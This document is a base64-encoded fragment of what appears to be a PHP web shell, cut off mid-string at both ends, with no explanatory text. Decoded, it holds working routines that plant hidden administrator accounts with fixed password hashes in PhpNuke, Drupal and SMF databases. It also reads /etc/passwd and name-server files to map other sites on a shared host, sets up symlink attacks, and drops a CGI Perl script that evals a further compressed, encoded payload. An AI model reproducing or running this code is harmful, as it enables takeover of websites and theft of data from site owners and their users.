3b3JkID0gJF9QT1NUWydob2tpNSddOwokYWRtaW4gPSAkX1BPU1RbJ2hva2k4J107CiRTUUwgPSAkX1BPU1RbJ2hva2k5J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2kxMCddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzICh1aWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCx1c2VyZ3JvdXApIHZhbHVlcyhudWxsLCciLiRhZG1pbi4iJywnZTcxZjJjMzI2NTYxOTAzOGQ4MjZhMWFjNmUyYjliOGUnLCd5d3phNjhsUycsJyIuJFNRTC4iJywnNCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigka2lzZXJ5b3VuaSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydob2tpOCddKSAmJiAkX1BPU1RbJ2hva2k4J10gPT0gJ251a2UnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnaG9raTEnXSAmJiAkX1BPU1RbJ2hva2kxJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k1J107CiRhZG1pbiA9ICRfUE9TVFsnaG9raTcnXTsKJFNRTCA9ICRfUE9TVFsnaG9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCRwd2QpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTknXSkgJiYgJF9QT1NUWydob2tpOSddID09ICdkcnVwYWwnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBEcnVwYWwgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnZHJ1cGFsJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLG51bGwsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnZHJ1cGFsXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKQogKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUWydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2k0J107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTUnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydob2tpNiddOwokYWRtaW4gPSAkX1BPU1RbJ2hva2k4J107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXREZXNjdWlkID0gQG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVpZCBmcm9tIHVzZXJzIG9yZGVyIGJ5IHVpZCBkZXNjIGxpbWl0IDAsMSIpOwokZ2V0RGVzY3VpZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJGdldERlc2N1aWQpOwokZ2V0RGVzY3VpZCA9ICRnZXREZXNjdWlkWyd1aWQnXTsKJGdldGRlc2N1aWQgPSAkZ2V0RGVzY3VpZCsrOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywna2lzZXJ5b3VuaUBmYmkuZ292JywnZmlsdGVyZWRfaHRtbCcsJzEnLCdFdXJvcGUvQmVybGluJywna2lzZXJ5b3VuaUBmYmkuZ292JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyB3aGVyZSBuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2UgPSBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwppZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRraXNlcnlvdW5pKTsKJHJlcyA9ICRraXNldmlzWyd1aWQnXTsKfQoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyB1c2Vyc19yb2xlcyAodWlkLHJpZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigka2lzZXJ5b3VuaSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KCmlmKGlzc2V0KCRfUE9TVFsnaG9raTEwJ10pICYmICRfUE9TVFsnaG9raTEwJ10gPT0gJ3NtZicpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU01GIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3NtZicpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLG51bGwsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsbnVsbCxcJ3NtZlwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdzbWZfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUWydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2kzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTUnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydob2tpNiddOwokcHJlZml4ID0gJF9QT1NUWydob2tpNyddOwokYWRtaW4gPSAkX1BPU1RbJ2hva2k4J107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzZXRwd0FsZyA9IHNoYTEoc3RydG9sb3dlcigkYWRtaW4pIC4gJ2tpc2VyeW91bmknKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9bWVtYmVycyAoaWRfbWVtYmVyLG1lbWJlcl9uYW1lLGlkX2dyb3VwLHJlYWxfbmFtZSxwYXNzd2QsZW1haWxfYWRkcmVzcykgdmFsdWVzKG51bGwsJyRhZG1pbicsJzEnLCckYWRtaW4nLCckc2V0cHdBbGcnLCdraXNlcnlvdW5pQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpTWFrZVB3ZCgpewoJaWYoX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewoJCXJldHVybiAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7Cgl9CgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7CgkkcHVibGljID0gZW5kKCRkb2N1bWVudCk7CglhcnJheV9wb3AoJGRvY3VtZW50KTsKCWFycmF5X3BvcCgkZG9jdW1lbnQpOwoJJHBhdGggPSBpbXBsb2RlKCIvIiwgJGRvY3VtZW50KSAuICIve3VzZXJ9LyIgLiAkcHVibGljOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGhva2lHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsKCSRsaW5lcyA9IGFycmF5KCk7CgkkbGluZXMgPSBfaG9raV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKCWlmKCEkbGluZXMpewoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwoJCSRzdGF0ZSA9ICJ2YWxpYXNlcyI7CgkJaWYoISRsaW5lcyl7CgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7CgkJCSRzdGF0ZSA9ICJuYW1lZCI7CgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsKCQkJCSRsaW5lcyA9IF9ob2tpX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CgkJCQkkc3RhdGUgPSAicGFzc3dkIjsKCQkJfQoJCX0KCX0KCXJldHVybiBhcnJheSgibGluZXMiID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOwp9CmZ1bmN0aW9uIGhva2lDcmVhdGVQYXJlbnRGb2xkZXIoKXsKCSRwYXJlbnQgPSAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fOwoJaWYoIUBpc19kaXIoJHBhcmVudCkpewoJCUBta2RpcigkcGFyZW50LCAwNzU1LCB0cnVlKTsKCX0KfQpmdW5jdGlvbiBob2tpc3ltbGluaygpewpob2tpaGVhZCgpOwpIb2tpTnVtKDksMTApOwpob2tpQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMiddKSYmKCRfUE9TVFsnaG9raTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImhva2kyIl09PSJzeW1weSIpKXsKCSRzeW1wYXRoID0gaG9raU1ha2VQd2QoKTsKCUBta2RpcignY2dpaG9raScsMDc1NSk7CglAY2hkaXIoJ2NnaWhva2knKTsKCWhva2ljZ2lodGFjY2VzcygnY2dpJyk7CgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGhva2lfZGF0YT0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbWYvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01XdjVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERCYkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0p0UmRUUmt0MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrYmpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTVVVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0OE9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm01UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2VkFaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKVDM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2FsVXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3lYWitwbUNQZStDM0V6dkpBM3d3